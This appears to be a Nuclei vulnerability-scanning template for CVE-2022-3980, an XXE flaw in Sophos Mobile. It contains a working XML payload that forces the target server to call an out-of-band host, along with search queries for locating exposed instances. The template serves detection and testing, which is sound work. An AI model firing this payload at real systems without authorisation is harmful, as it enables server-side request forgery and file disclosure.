Sophos Mobile managed on-premises - XML External Entity Injection

id: CVE-2022-3980

info:
  name: Sophos Mobile managed on-premises - XML External Entity Injection
  author: dabla
  severity: critical
  description: |
    An XML External Entity (XXE) vulnerability allows server-side request forgery (SSRF) and potential code execution in Sophos Mobile managed on-premises between versions 5.0.0 and 9.7.4.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to read arbitrary files on the server or conduct server-side request forgery (SSRF) attacks.
  remediation: |
    Apply the latest security patches or updates provided by Sophos to mitigate the vulnerability.
  reference:
    - https://www.sophos.com/en-us/security-advisories/sophos-sa-20221116-smc-xee
    - https://nvd.nist.gov/vuln/detail/CVE-2022-3980
    - https://github.com/bigblackhat/oFx
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-3980
    cwe-id: CWE-611
    epss-score: 0.09785
    epss-percentile: 0.95544
    cpe: cpe:2.3:a:sophos:mobile:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: sophos
    product: mobile
    shodan-query:
      - http.favicon.hash:-1274798165
      - http.title:"sophos mobile"
    fofa-query:
      - title="Sophos Mobile"
      - icon_hash=-1274798165
      - title="sophos mobile"
    google-query: intitle:"sophos mobile"
  tags: cve,cve2022,xxe,ssrf,sophos,vkev,vuln

http:
  - raw:
      - |
        @timeout: 50s
        POST /servlets/OmaDsServlet HTTP/1.1
        Host: {{Hostname}}
        Content-Type: "application/xml"

        <?xml version="1.0"?>
        <!DOCTYPE cdl [<!ENTITY % test SYSTEM "http://{{interactsh-url}}">%test;]>
        <cdl>test</cdl>

    redirects: true
    max-redirects: 3
    matchers:
      - type: dsl
        dsl:
          - "contains(interactsh_protocol, 'http') || contains(interactsh_protocol, 'dns')"
          - "status_code == 400"
          - "len(body) == 0"
        condition: and
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